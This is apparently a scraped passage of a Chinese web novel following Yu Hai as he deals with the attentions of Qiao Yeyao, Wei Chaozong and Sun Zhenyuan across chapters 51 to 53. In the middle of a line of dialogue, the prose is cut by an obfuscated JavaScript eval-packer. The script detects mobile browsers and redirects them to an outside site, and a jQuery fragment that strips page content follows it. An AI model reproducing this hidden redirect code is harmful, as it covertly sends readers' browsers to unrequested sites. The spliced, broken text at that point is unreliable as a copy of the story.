不过,他忍住没有立刻上前打招呼,而是订购了一束玫瑰花,以炫酷拉风的姿态降临到他面前,势必给对方一次惊艳的视觉冲击。
他在初见到对方的第二天就送了礼物,而且写上了自己的名字代号“Y”,于海应该能猜到他是谁。
玫瑰加甜品铺垫两周,于海从没有拒绝他送的礼物,可见对他应该有一些好感,视觉冲击加上心理攻势,他就不信拿不下他。
乔叶尧自信满满的问:“豌豆糕好吃吗?”
一道闪电在刘江脑海乍现,听到熟悉的发问,他瞬间联想到于海每天收到的小点心和小纸条,看看后车座的玫瑰,想到于海每天收到的玫瑰。
惊诧的话脱口而出:“于海,你从哪认识的小男生?”
该不会是哪个商业合作伙伴的儿子吧。
乔叶尧不耐的投去一瞥:“你谁啊?”
刘江:“我……”
乔叶尧并不想听他的回答,直接打断继续问于海:“怎么样,味道不错吧。”
全都是经过他认证的点心,色香味俱全。
于海轻笑点点头。
怎么有人连点头的动作也能做得让他心动,乔叶尧觉得对方当面认可他送的东西,几乎相当于默认了他们的关系。
乔小少从来没有向别人告白过,原本还纠结不知道怎么说出那些肉麻的话,这下可以直接跳过那一步骤,顿时喜笑颜开:“上车,我带你去江边兜风。”
先去兜风,然后拉他去玩男人们都喜欢的游戏,打打斯诺克、玩玩射击和赛车,于海不会玩也没关系,他可以教他。
为此,乔叶尧还叫上四只电灯泡陪玩,他才不承认是第一次告白内心忐忑,所以叫人过来壮胆。
于海不为所动,打量的视线轻飘飘的在对方身上打了个转。
乔叶尧下意识挺胸抬头。
“你多大了。”
乔叶尧怔了怔,迟疑道:“18。”
他十七岁的生日已经过了半年,四舍五入就是十八岁没毛病。
“上高中?”
“高三。”
“不上课?”
“晚自习,没劲。上课也没劲。”
突如其来的莫名问答,换个人乔叶尧早开怼了:关你屁事。
但他就是和面前的人发不起火。
乔叶尧看着他都不禁感慨:世界上怎么会有这么恰到好处戳中他审美的人。
英俊中带着点邪气的脸,举手投足的散漫不羁,特别像他看的武侠小说中最向往的人物——自带反叛气质的江湖游侠。
乔叶尧想到什么,笑出两个小酒窝:“你担心我受处罚?他们管不着我。”
后面的人捧哏似的接道:“那是,校董见了我们乔少也得客客气气的。”
于海微笑点头。
“乔少不用学习,可以放肆的玩乐。我明天还要上班,恕我不能奉陪。”于海笑着建议,“我记得上次乔少身边跟着一个漂亮女孩,你可以叫上你的小女朋友,想必她会很开心的。”
于海想提醒对方,看清楚老子是男的。这年头某些人的性取向变化这么变幻莫测的吗?前有孙震元,现在又来了个乔叶尧。
“她不是我女朋友。”乔叶尧从车上跳下来,急忙澄清自己,“我和她没关系,我没有女朋友!”
顿了顿又说:“也没有男朋友!”
乔叶尧观察着于海的神色,嘟囔道:“这还是我第一次给人送花呢。”
“噢。”于海意味不明的说了句,“那是我误会了。”
后面车上的人跟着下车,赔笑:“误会,都是误会。乔少在我们学校出了名的洁身自好,校花倒贴都不看一眼的。你要相信我们乔少啊,嫂……”
说到一半卡了壳,男生询问:“乔少,我们怎么称呼,叫嫂子还是哥夫……”
于海黑线:什么乱七八糟的。
刘江噗嗤一声,赶紧捂住自己嘴。姓乔,提到青奚有钱人姓乔的,大家第一反应就是顶尖的那家。
惹不起啊惹不起。不由得感慨,他兄弟的体质绝了,别人钓鱼不空军就不错了,他兄弟怎么钓上来的不是食人鱼就是巨齿鲨。
幸好这会乔小少完全没注意到他。
脸颊的皮肤温度突然升高,慢慢发热发烫,乔叶尧眼神飘忽,满脑子都是“嫂子”和“哥夫”。
口袋里的手机发出震动,代驾打过来的,于海接通。
“大哥,我马上到了,包间名字是哪个,我过去找你。”
“我在门口。”于海问道,“你在哪?”
“鼎丰东边,我把电动车找地儿停一下,马上过去。”
于海向街巷东侧走了几步,远离灯火最盛的鼎丰酒楼。
万一乔叶尧少爷脾气上来,闹出什么动静,大街上没人,但酒楼有人啊。
刘江连忙跟上于海的脚步。
比他速度更快的是乔小少。
乔叶尧大跨步上前,表情纠结,彷佛做出巨大妥协一般,用十分无可奈何的语气说:“不去就不去,我送你回家总行吧。”
“我有车。”
“放这,明天我让人给你开过去。”
“不用了。”
乔叶尧脾气也上来了,他攥住对方的手腕:“这也不行那也不行,你收老子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14022252|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花的时候怎么不说不行啊!”
于海被纠缠的有点烦了,面上却是丝毫不显,慢条斯理回头看向乔叶尧,薄唇微微勾起。
鼎丰悬挂的灯笼随风摇曳,黯淡的余光打在于海的侧脸上,隐约的光影勾勒着线条分明的轮廓,漆黑的双眸透露出夜幕般的神秘,摄人心魄。
乔叶尧愣住了,他的心脏不受控制的砰砰直跳,心脏快要从喉咙里跳出来,神魂离体不知要飞往何处。
他呆呆的看着眼前这个男人,失去了思考的能力。
于海笑着说:“多谢乔少提醒,东西我不能原样退回,你说个数,我转账给你。”
乔叶尧猛地回神,简直不敢相信自己花心思送出的东西,对方却毫不在意。
“你……”
“如果我没会错意,你是想和我交往?”
乔叶尧没想到于海这么直接,脸唰的红了,热意烧的他脑子几乎变成浆糊,强撑着说:“是,不行吗?!”
“我是商人。”于海指指自己,又点点乔叶尧,“你是学生。”
乔叶尧不懂:“那又怎么样?”
于海:怎么样?孙震元前车之鉴在前,他一个候选继承人都左右不了他爹,乔叶尧一个学生能在乔家家主那里有多少话语权?这位乔家小少还是个家里宠着长大的恐龙蛋,若是乔家家主知道他勾搭了正在上学的宝贝儿子,于海怀疑对方会追杀他到国外。
抛开这些都不提,于海对乳臭未干的毛头小子完全不感冒。
于海挑眉:“说白了,我对你没兴趣,小少爷。”
乔叶尧的自尊心被刺痛了,一股陌生的酸涩涌上他的胸腔,比起愤怒,他感受更多的是另一种陌生的情绪,让他很不舒服却又舍不得放开攥在掌心的温度。
肩膀处猝不及防传来疼痛。
乔叶尧心情不好,这下更是眼睛冒火,他要看看是哪个不长眼的过来打扰。
刚转过身,裹挟着飓风的迎面一脚踹了过来。
乔叶尧狼狈躲开:“艹!你他妈……”
看见来人是谁,乔叶尧脸上闪过一丝隐忍,但那点忍耐也就停留了一秒,迅速被爆裂的怒火烧成灰烬,“你他妈有病吧!”
魏朝宗一身白色运动装,在幽暗的灯光下恍如鬼魅,唇边的冷笑泛出阴森的寒意:“你哥没警告你吗?”
于海活动活动手,臭小子力气还挺大。
刺头对刺头,于海估计自个可以顺利撤退了。
乔叶尧瑟缩了下,很快挺直腰板瞪了回去:“我追个人,我哥凭什么管我。”
其他四个跟着乔叶尧过来的男生,互相对视,他们犹豫要不要上前。
上次南郊飙车那回遇到过一次类似的场景。
虽然对方开着一辆破大众,但是最后结局是他们落荒而逃了。而且这人的穿着举止,确实不像普通人。
“好狗不挡道。”乔叶尧昂着头倔强的说,“我追人,关你屁事。”
魏朝宗手指握得咯吱作响,咬牙切齿道:“欠收拾的东西。”
乔叶尧从小到大,从来没有人敢这么骂他,怒火上头,指着魏朝宗的鼻子:“你他妈说谁呢?”
敌视的目光在空气中相撞,火花四溅,大战一触即发。
那四个人眼见撕破脸,顾不上考虑太多,立刻扔掉头盔,将魏朝宗给围了。若是乔家知道乔小少爷和他们一起玩的时候受了伤,后果不堪设想。
于海对隐匿在暗处的刘江摆摆手,示意他们两个可以趁机溜了。
一对五,对比上次的一对十,魏朝宗的处境好多了。
人家魏少不是说过吗,打架这事人家自己能够解决,绝对不用他多管闲事。
于海也懒得管,明天还要上班,回家休息才是正事。
“啊,要打起来了吗?”平头小青年缩头缩脑的凑过来,语气夹杂着兴奋,“可惜我要送客人,看不上好戏了。”
50-60
第51章 第 51 章
于海出院是在一个碧空万里的早上。
虽然可以出院了, 但三处伤口的伤疤都还在。
肩膀的伤口结痂尚未褪去,扭曲的爬在皮肤上,形状宛如一道狰狞的蜈蚣。魏朝宗看一眼, 就会感到钻心的疼痛, 恨不得把孙孝廷挖出来鞭尸。
于海脖子和脸部的伤口不深, 但位置太敏感。为了不让他妈看出来情况,于海尽量延长了出院的时间, 积极配合医生进行治疗, 加上他自身体质优越,半个月时间愈合的差不多了, 不过留下的伤疤还需要进一步的修复。
魏朝宗给他脸部和脖子受伤的部位贴上创可贴, 脸色阴沉眸光晦暗不明。
于海见他苦大仇深的模样,调侃道:“看你的眼神, 还想在我右脸上划一刀,来个对称?”
魏朝宗咬着后槽牙,冷声道:“太便宜他们了。”
在孙震元和孙孝廷的脸上划上几十刀都不足以泄愤。
于海挑眉:“孙孝廷人都死了, 你还想怎么着?”
“孙震元不还没死。”魏朝宗眼神发寒。
于海无语了:“你跟孙震元多大仇啊?”
魏朝宗不说话, 默默想,孙震元竟敢把于海置于险境, 死不足惜。
于海拿上整理好的物品:“多谢魏少两周的照顾。”
“你去哪?”魏朝宗连忙道, “我送你。”
“回家。”
“我顺路。”魏朝宗不假思索的说。
于海看向他,勾了勾唇:“行啊。”
魏朝宗故技重施,打着顺路的名义送人,没想到于海干脆的答应了。
给人当司机的魏朝宗不禁沾沾自喜,于海拒绝李崇明, 却允许他来送。他和李崇明在于海心中孰轻孰重,不言自明。
结果从医院到别墅高兴了不到二十分钟, 魏朝宗就迎来了惊吓。
“停车。”
魏朝宗看了眼车外:“还没到。”
“到你家了。”
“吱……”
轮胎发出刺耳尖锐的刹车声。
魏朝宗傻眼了。
“装什么傻,三个月前你就搬到我隔壁了吧。”
“你……”
“我怎么知道?出差提前回来,凑巧撞见的。魏少打算瞒到什么时候,耍我很好玩?”
“我没有耍你。”魏朝宗慌张解释,“我想找个合适的机会告诉你,只不过后来骑虎难下了。”
“天黑路远,不便回家……”
于海一句话戳破魏朝宗。
魏朝宗哪是骑虎难下,他是自作自受,明知那是给自己挖坑,但舍不得诱惑。住隔壁当邻居虽然也不错,但哪比得上住于海家里。
魏朝宗沮丧的低头认错:“我错了。”
“知道错了,就好好反省几天,别整天干事不过脑子。”
魏朝宗知道,于海是借题发挥,还在点他枪击孙震元的事,心头不禁开始泛酸:“你是不是还在怪我伤了孙震元?”
“给教训可以,杀人就不好玩了。”
于海发现魏朝宗偶尔行事容易冲动上头走极端,他既然选择了和魏朝宗交朋友,那就不希望这段友谊过早夭折。
说白了,两人相处一直和谐的可能性不大,矛盾和摩擦几乎是不可避免的事情。魏朝宗脾气暴烈,爱之欲其生,恶之欲其死,之前魏朝宗能把枪口对准孙震元,以后也能把枪口对准他,甚至魏朝宗自己。
“做事之前想想后果。”
魏朝宗有些憋屈:“如果不计后果,我已经送孙震元归西了。”
他就是考虑过后果——担心死了的人反而会成为某人心中难忘的存在,所以才没有下死手。
于海用脚趾头想,都知道魏朝宗考虑的角度肯定异于常人,但对方心里有个忌惮总是好的。
“魏少做事周全,是我多虑了。魏少隐瞒住处,一定也有你的考虑。我妈一直好奇隔壁邻居是谁,正好魏少可以做个自我介绍。”
魏朝宗艰难的吞咽了下:“能不说吗?”
“当然可以,这是你的权利。”
未等魏朝宗放下心,就见于海开门下车,笑着道:“但是,我看到你保不准会说漏嘴。”
魏朝宗脸色瞬间变苦瓜。
迅速调整好表情,眼神游弋:“我突然想起来今天有点事,需要去公司处理。”
“好走不送。”于海干脆的关门离开。
留下天不怕地不怕的魏大少心肝发颤。
另一边孙震元已经提前出院,仅在医院两天便火速返回了公司。
新上任不久的董事长特助胡鑫跟了孙震元多年,也是最先知道孙震元枪伤住院的人之一。
忍不住劝道:“孙董,您的伤还没好,要不要再住院休养几天。”
孙震元只说:“去办出院吧。”
语气平静,脸上一丝表情也没有。
那一刻,胡鑫忽然觉得眼前跟随多年的老板十分陌生,曾经孙震元的痴狂、颓废令他无比震惊,而看着眼前的孙震元,他总觉得平静的表象之下是深渊和死寂,让他不禁生出一丝畏惧。
胡鑫无法再说出劝谏的话,不由自主的按照孙震元的吩咐去做。
晟玺各方势力的斗争随着孙孝廷的死落下帷幕,这出夺权的大戏似乎已经完结。
然而于海流血的画面在孙震元脑海中反复播放,无时无刻不在提醒他,不能放下戒备,不能放过任何潜在的威胁。
所以他必须以最快的速度回到权力中心,清理掉所有潜藏风险的势力残余。
高层会议上,曾经不务正业的孙家大少用雷霆手段扫清了所有障碍坐在头把交椅的位置平静的扫过现场的每个人。
在场的高层无不噤若寒蝉。
同室操戈的惨案似乎对孙震元没有造成任何负面影响,反而让他一夜成长,学会了喜怒不形于色,更加理性冷静,更加不留情面。
胡鑫眼中的孙震元从医院醒来那一刻开始,就从一团烈火变成了无波无澜的井水。
有条不紊的处理公事、规律严谨的作息生活。胡鑫再不必替他处理纠缠不休的情人和闹事的狐朋狗友。
他的工作开始变得轻松,甚至产生可能被解雇的忧虑。他不能探知孙震元翻天覆地变化的根本原因,但大致明白孙震元的变化肯定和百川的那位脱不开关系。
胡鑫大胆猜测孙震元应该是彻底放下了,与过去的自己达成和解,不然无法解释孙震元持续稳定的情绪。
然而无人知晓孙震元那张伪装的平静面具下压抑的焦灼和惶然。
若是对发生的一切释怀,他早该在身体能够行动的时候便去探望于海。
于海是因为他受的伤,因为他陷入险境,他应该去说一声道歉,然后陪在于海身边照顾以弥补自己的错误。
当他走到于海所在的病房楼层,看到于海和魏朝宗踱步聊天的背影,孙震元下意识感到了惊慌,遵循身体的本能反应仓惶地夺路而逃。
于海已经有人陪伴和照顾。
他不应该再接近于海。
这半年来,于海经历了太多磨难,而他是这一切不幸的来源。
就这样在远处看着于海就好,不要再去打扰于海的生活。
孙震元逃避的躲到暗处,自厌的想着他活该就此沉沦在黑暗里度过余生……
和百川合作的东区项目到了尾声,以往有关和百川的合作,孙震元事必躬亲,胡鑫依照往例,行程中添加了参加完工仪式的事项。
“取消。”孙震元低头批阅文件,看不清表情,语气平淡的说,“让孙孝玉过去一趟。另外,既然项目结束了,尽快把合作款打给百川。”
胡鑫愣了愣,没多说什么,东区的那几个项目规模大小,本也不必晟玺的董事长亲自去把关,不过事关百川,他习惯性的特殊对待。而孙董却一口否决了,细想,也合情理,恰好佐证他的猜测——孙董真的放下了。
胡鑫出去后,悬停于文件上方一动未动的钢笔滚落到办公桌上。
孙震元仰靠沙发背,双眼无神的望向天花板,胸口空荡荡的,身体丧失了所有的力气。
伤口处的疼痛提醒他还活着,孙震元仿佛失去了活着的驱动力。他想让自己投入工作,但他的思想和身体却脱离了控制。
浑浑噩噩熬过整个上午,孙震元不由自主的去想被他取消的行程。
于海出院了。
他去了吗?
不去好。他的身体还未恢复完全,应该多休息一段时间。
如果于海去了……他会问到自己吗?
孙震元无法克制的幻想。
办公室外,孙孝玉徘徊踱步。
“孙经理怎么不进去?”
从前孙孝玉那是人未到声先至,招呼都不打直接推门而入的。
孙孝玉比了个嘘的手势,附耳道:“我这不是正做心里建设嘛。”
谁让他大哥突然变得喜怒不形于色,比老爷子还可怕,搞得他战战兢兢的。
深呼吸几次,孙孝玉规矩的敲门,得到准许走进去,脸上不觉带着讨好的笑:“大哥。”
孙震元静静的看着他。
孙孝玉心里一突,立正站好,规规矩矩的汇报今天的工作,总而言之一句话,请领导放心,完工仪式一切顺利。
汇报完,也不见对方让他出去,孙孝玉大着胆子打量对方的神色,垂头不语似是陷入沉思。
“那个…于总也过去了。”孙孝玉见他大哥没有制止,接着说,“他还问到你来着。”
孙震元神色依然淡淡的,心脏却像被一只无形的大掌攥住。
他如此卑劣,明明已经下定决心远离,听到于海提起他仍然无法克制的生出冲动。他以为已经强行燃烧成灰烬的欲望,因为一句问询死灰复燃。
“问你怎么没来,我说你有事要忙,他表示理解。然后让我给你带一句话。”
孙震元忍不住追问:“什么?”
从孙震元出院到现在,不夸张的说,孙孝玉第一次从他大哥身上感到活人气,不由得松口气:“他让我问你,不久是多久?”
孙孝玉纵然一头雾水,但他知道大哥和于海的纠葛很深,或许是两人之间的暗号之类的,他只需尽职尽责的当个传话人。现在的孙震元六亲不认,完全是个没有感情的工作机器,他盼望那位于总能给他大哥注入一点人气。
孙孝玉不知何时悄无声息的离开了。
孙震元心脏鼓噪的跳动震得耳膜发疼。
“不久以后,我们会再见面的。”
那曾是他对于海的许诺,他们的不见不是永远,他要击垮他的父亲,要为他们的未来拔除荆棘荡平险恶!
他没有做到,反而将于海置于险境。
事发之后,更是第一时间做了逃兵。于海的一句话,将他躲藏的黑暗世界撕开一道口子,涌入的光亮让他的懦弱不堪和自欺欺人无所遁形。
他就是个不折不扣的懦夫。
但于海……
仍然向他这个只配呆在阴暗角落的懦夫伸出了手。
孙震元可以视而不见,可以转身逃避,但面对于海,他只会做出一种选择,握住那只手。
第52章 第 52 章
自从揭穿魏朝宗偷偷摸摸住在他隔壁的行为, 魏朝宗总算是消停了一段时间,不发信息也不在他面前刷存在感了。
他妈还以为隔壁房子又卖了,跟他分享最新“情报”:“咱们家邻居有段日子没有动静了, 才住进来几天, 还没见过人就搬走了?”
“大概吧。过几天或许又有人住进来了。”
江雪梅点头:“这地儿空气好风景好, 房子倒是不愁卖。”
也就过了两天,他妈再次提起了隔壁的那套别墅, 表情带了点探究的意味:“儿子, 我们隔壁住进来一位新邻居。”
于海听出点别的意思,稳稳地端着盘子放到餐桌上:“邻居的更新速度有点快啊, 你见着新邻居了?”
“你真不知道搬来的是谁?”
于海笑道:“不知道, 哪位?我认识?”
江雪梅将信将疑:“他没和你说?”
“没说。”
“搬来的是小魏。”江雪梅怀疑的打量他,“我怎么不信你不知道呢, 搬家这么大的事他不告诉你?”
“可能他房子多,不过是多了个住的地方,觉得这事无足轻重。”
“我觉得小魏是为了你专门搬过来的, 不然这儿那么多套房子, 怎么就认准咱们隔壁了?”
“正好隔壁空着呗。”
“人家昨天都送礼物来了。”
“登门拜访,带点东西人之常情。”
江雪梅无语的点点他的额头:“你就给我装聋作哑吧, 谁家给邻居送东西, 送的是翡翠镯子,我推辞不要还不行。给他倒个水的功夫,把镯子放桌子上,人走了。”
“那就收下。”
江雪梅瞪眼:“这么贵重,我能收吗?”
“您喜欢就收下。”于海无所谓的笑了笑, “没事,回头我转钱给他。”
江雪梅心中又是熨帖又是无奈。
“你和小魏进展怎么样?”
“普通朋友。”
江雪梅:这孩子方方面面都好, 怎么就是不开窍,人家都倒追到家门口了,还当是普通朋友呢。算了,不开窍就不开窍吧,开开心心的就成。
于海和他妈在家吃了晚饭,自觉收拾干净碗筷,陪乐乐玩了会,然后开车去附近的体育场打了一个小时羽毛球。
于海看了看时间,晚八点五十二,冲完澡换了身休闲套装,驱车前往漪圆。
漪园是围绕月牙湾开发的私人休闲度假风景区。
夜间不对外开放的漪园今夜灯火通明。
于海跟随工作人员的引领,将车直接开入了园区中心。
孙震元正站在不远处等他,或许是洒下的灯光修饰,浓眉深目的硬朗五官竟显出了几分罕见的柔软,注视他的目光是从未有过的平和。
对比半年前的孙震元,彷佛脱胎换骨换了一个人。
“你的伤口怎么样?最近还好吗?”
连说话的口吻都大不相同,沉稳持重不骄不躁,和从前的狂妄自大没心没肺判若两人。
“恢复的挺好的。”于海和他并肩同行,“你的枪伤呢?”
“魏…魏少和你说了?”
“嗯。”
“也恢复的挺好。”
如同普通的病友交流病情,两人对视一眼,于海微微一笑。
青奚的秋夜凉如水,孙震元却感觉心头滚烫。
“连累你受伤,还没能向你说声抱歉,对不起,于海。”
孙震元的目光专注,语气诚恳,情绪再不复往日的冲动和激烈。
孙震元的心底并不如表面一般平静。
他依然不明白如何正确的去喜欢一个人,但他知道已经犯过的错误不能再犯。强求会让于海不高兴,掠夺会让于海受到伤害,强求和掠夺皆源自于他自以为是的爱。
那就把所有欲望埋藏心底,连同热烈和期待全部掩埋。
他要成为于海希望他成为的存在——一个不掺杂暧昧的朋友,一个成熟的商业合作伙伴。
于海:“你也因为我挨了枪子。”
“那一枪是我应得的,你却是无辜受我牵连。”
“你觉得不公平?”于海开玩笑,“不然,我亲自打你一枪?”
孙震元点头,只要于海觉得可行,那便是个相当不错的好主意。
“打你一枪,我去蹲号子?”
“我会给警察说,是我自己误伤。”
于海:是他对孙震元判断有误,人是沉稳,但貌似变傻了,这年头还有帮人想办法枪击自己的。孙震元想吃枪子,他还懒得喂。
“别寻思了,我还不想上社会新闻。东区的尾款我这边已经收到了,看在钱的份上,就算吃点亏,我也认了。如果孙董实在过意不去,以后有什么品质不错的项目,不忘记百川就行了。”
“好。”孙震元不假思索的答应下来,“我肯定第一时间想到……”
将嘴边的“你”咽下去,孙震元顿了顿说,“想到百川。”
于海跟随孙震元穿过一道狭长小径,宽阔的水面映入眼帘。
白天的月牙湾清澈纯净,五彩斑斓的鱼儿畅游跃动,溅起的水花在阳光照射下迸发出银光,瑰丽惊艳。夜晚的月牙湾别有一番观感,鱼儿潜伏在水下安静的游动,月光下水面泛着粼粼光泽,幽静神秘。
两人沿着岸边走了一段,于海看到两把沙滩椅,旁边摆放着齐全的钓鱼工具。
孙震元卸下护套,抽出伸竿,将鱼饵挂在鱼钩上,抛入水面,一系列动作行云流水。湖面漾起波澜,扩散圈圈水纹。
于海接过递给他的鱼竿,观察了一会水面环境,定下钓点后抛出了鱼钩。
说起来,于海已经许久没有钓过鱼了。和孙震元还是朋友的那段时间,他的闲暇时间基本被孙震元霸占了。
刚开始孙大少的乐子只限于酒吧、夜店和各种会所,后来在他的抗议下,两人的娱乐活动拓展到爬山、攀岩、滑翔和其他各种刺激类型的项目。
钓鱼这种考验耐性的业余活动,绝对不会出现在孙大少的选择里面。
——无聊、枯燥、毫无激情。
“于海,你一个二十多岁的大好青年,业余生活怎么比我爸还乏味。钓鱼?我可不去,你也不准去。走,跟着哥混,我带你玩刺激的。”
谁能想到,不到一年时间,恨不得每天飞天入海的孙大少拿着根鱼竿安静的玩垂钓。
……
回忆上一次和于海并肩而坐的时刻,仿佛过了一个世纪那么久。孙震元屏住呼吸,目光轻轻的落在身边人安静的侧脸上。
如果时间能够停留在此刻,他愿意拿出自己拥有的一切去交换。
然而最留不住的是时间……
无论孙震元如何祈祷时间能过得慢一点,终归阻挡不了月亮落下初阳升起。
新的一天到来,他最渴望留下的人也要离去。
于海伸伸胳膊腿,活动了下略微僵硬的身体,看了眼手表:“快五点了,今天就这样吧。”
孙震元跟着站起来,心中纵有不舍,也知道他挽留不住这个人。
“湖里的鱼都争前恐后咬你的钩了。”孙震元赞叹的看着于海的钓鱼成果——打眼一瞧得有十来条,“我安排人把鱼给你送过去。”
于海对自己的大丰收也是相当满意,随意瞥了眼孙震元脚边的水桶。
于海:……
不知不觉搁这钓一晚上了,难得好动的孙大少也跟着坐了整夜,几乎没怎么讲话,偶尔和他聊两句,围绕的话题也全是有关于垂钓的。那云淡风轻的输出专业知识的模样,成竹在胸从容不迫的钓鱼姿态,乍一看至少是有十年钓龄的专家。
于海都不禁对他刮目相看。
结果,丫桶里连条小鱼都没有。
差点真的被孙震元骗了,还以为短短数月进化成钓鱼大师了。
敢情是纸上谈兵,在这给他卖弄专业知识。
不是,就这晚月亮湾的鱼群密度,捞个石子砸下去,都有概率砸晕一条鱼,这都能空军,也算是另一种程度的有能耐了。
于海从自个水桶捞了条三斤多的翘嘴出来放在小桶里:“这条我带走了,剩下的你看着处理。”
孙震元将于海送到停车处,喉结滚了滚,不动声色的提议:“附近有家鱼庄餐厅,六点就开门了,他家的手艺不错,不如直接把鱼提过去处理,吃过了早餐再走?”
于海拎着小桶放进后备箱,笑道:“下次吧,多谢孙董的邀请,今天钓得很尽兴。”
摆摆手,于海开车出了漪园,行驶一段距离右转上了主路。
路过十字路口等红灯时瞥见一辆眼熟的车停在了路旁的树荫下。
黑金布加迪,相当吸睛,路过的蚂蚁都要多看两眼。
红灯变绿,轻踩油门顺着直行的箭头通过了路口,走了一段变道打转方向盘。
方才车门禁闭的布加迪敞开了左前门,车的主人正倚着车头垂头抽烟。
于海一脚油门将车停在布加迪的车屁股后头。
心里不是滋味的魏朝宗正抽着烟胡思乱想,忽然听到熟悉的脚步声,身体肉眼可见的僵直,夹着烟的手像是被冻结住,烟灰飘落在手指上没有丝毫反应。
“喂。”于海刚出声,就见雕塑一样愣在原地的人瞬间活了过来,头也不回转身要走。
于海:……
“站住。”
仿佛一道符咒落下,魏朝宗的身体瞬间无法动弹。
第53章 第 53 章
“跑什么?”
他有这么可怕吗?吓得人车都不要了, 车门还在那敞着,就要开溜。
“没跑。”魏朝宗死鸭子嘴硬,“我是去扔垃圾。”
于海瞅了眼没抽几口的香烟。
“去吧, 另一边。”于海淡淡提醒, “别走反了。”
于海看着魏朝宗慢腾腾挪动的步伐, 心想,这场景真熟悉啊。魏朝宗守株待兔的把戏玩上瘾了啊。
走得再磨蹭, 二三十米的距离也花不了多长时间。魏朝宗插着口袋站定, 看树、看车、看地、就是不敢抬头看人。
“魏少这次顺路探望谁?孙大少倒是在附近,别告诉我你是过来见孙震元的。”
“我是盯着他——前科累累的危险分子。”
“魏少是出于好心啊。我还要感谢魏少全天候的监视保护了。”
魏朝宗飞快的抬眼看向他, 急忙说:“我没有监视你!也没让人跟着你!”
“我发誓, 如果我干了,就让我再也进不了你家大门。”
对魏朝宗来说, 这已经属于毒誓的范畴了,想一想后果就像有一万只虫子在身上爬一样难受。
于海:……
什么狗屁玩意儿?说得跟他现在就能进门似的。
“我派人监视的是孙震元。”魏朝宗嘀嘀咕咕,“你不和他见面, 我也不会知道你到这儿了。”
“噢, 是我自投罗网喽?”
“我错了。”魏朝宗快速滑跪,“我没别的意思, 孙震元就是个祸根, 让人看着他是有备无患。”
若不是顾虑到于海,他才不懒得派人去监视孙震元,他会让孙震元直接消失。
“看个人还用得上魏少亲自出马啊。几点过来的?”于海淡淡的看着他,“我不想从你嘴里听到假话。”
魏朝宗犹豫了片刻,含糊不清的说:“晚上十点左右。”
跟他前后脚到的漪园, 魏朝宗这小子可真行,有这耐心不去干侦查工作都屈才了。
“魏少真有闲情逸致, 有家不回睡车里,睡车比睡床舒服?”
魏朝宗想了想,回答:“还行。”
表情认真,一点不敷衍。
于海懒得跟他继续胡扯:“把跟着孙震元的人全撤了。我以后和他见面的时候多的是,你次次都跟着?”
魏朝宗装模作样的思考:“也不是不可以。”
得到一个冷淡的眼神,魏朝宗咕噜噜冒酸水,但又拿他没办法,垂头丧气的说:“我知道了。”
于海交代完,往自己的车方向走,走到车前发现身后坠着个人。
魏朝宗扬起笑:“我来开车吧,你休息一会。”
于海虽然一晚上闭眼休息的时间不长,但也没怎么损耗精力,在钓鱼“大丰收”的喜悦加持下,他现在是神清气爽。反观魏朝宗,眼下有浅淡的青黑痕迹,一看就是熬了个大夜精神亏损的模样,到底需要休息的是谁啊。
“你的车不要了?”
“扔那不用管。”魏朝宗满不在乎的说,全球仅此一辆的定制豪车,在魏大少的口中还不如一辆二手自行车。
于海打开驾驶处的门坐进去,然后无情的关上了车门,单手撑在车窗上对失落的魏朝宗说:“别废话了,开你的车跟着。”
魏大少表演变脸似的,瞬间多云转晴,黑眼圈都淡了许多,咧着嘴角小跑到前面开车去了。
直到抵达别墅门前,魏朝宗的嘴角还没落下来。
于海打开后备箱,把小桶提出来,拦住紧跟着他的魏朝宗:“魏少,别认错了家门,你家在隔壁。”
魏朝宗点点头,十分通情达理的说:“未经允许,我不会强行进门的。于海,这鱼你能送我吗?”
又加了句:“我家里没食材了。”
于海一愣,魏朝宗朝他讨要东西的次数算上五年前那也是屈指可数。
“我可以跟你交换,你想要什么尽管提。”
于海挑了挑眉,故意说:“你的宝贝车也行?”
一把印有布加迪logo的车钥匙猝不及防塞到他手里,于海抬眼一看,魏朝宗已经拎着从他手中夺下的小水桶一溜烟跑了。
于海:……
打开大门,一只白毛萨摩耶正蹲在门口摇尾巴。
于海精神挺好,也不打算再补眠,揉了揉白色的大脑袋,示意它跟上,绕着别墅区内建的人工湖跑圈。
差不多六点半,于海带着乐乐往回跑。
“汪、汪。”路过隔壁大门时,乐乐叫了两声。
淡淡的鲜香顺着门缝飘了出来,于海看了一眼,心想,魏朝宗速度还挺快,一大早就把鱼下锅了。
于海回家洗完澡换了身居家服,下楼准备动手做饭。
他的厨艺数十年如一日的低水准,不过早饭也不需要太多技巧,煮点粥再炒个鸡蛋,配上他妈腌制的咸菜,齐活。
江雪梅也起来了,进厨房问道:“要不要再做个菜?”
“你想吃什么?我来。”
“算了吧儿子,别为难自己。”江雪梅打趣,“套用你的话,专业的事交给专业的人干。”
这时,传来一阵门铃声。
江雪梅:“一大早,谁会过来,刘江?”
也不等于海回答,江雪梅径自出去开门。
厨房有一扇通向院子的玻璃门,从屋内可以看到江雪梅打开大门,门外站着一个身材挺拔的男人。
于海拉开玻璃门,就听到江雪梅的声音:“小魏,怎么是你?”
嗓门比平时大许多,听得出来江雪梅对来人的到访十分惊讶。
“我做了个清蒸鱼,给您送过来尝一尝。”语气罕见的礼貌和恭顺。
“你太客气了,快进来。”江雪梅热情的招呼,“吃早饭了吗?”
“还没有。”
“正好,我和阿海也没吃,我们一起。”江雪梅看到于海站在厨房门口,笑着说,“阿海,再做份煎饺,小魏来了。”
于海看向魏朝宗,只见对方提着食盒目光游移,不知道在看些什么。
江雪梅带着魏朝宗进了客厅,于海退回厨房。
粥熬煮的差不多火候,于海将切碎的青菜碎末放进去。等待的时间,他取出平底锅滴上一层薄油,从冰箱取了袋煎饺出来,撕开包装袋,准备下锅煎。
内侧通往客厅的厨房门传来动静,于海没有回头看,继续手中的动作。
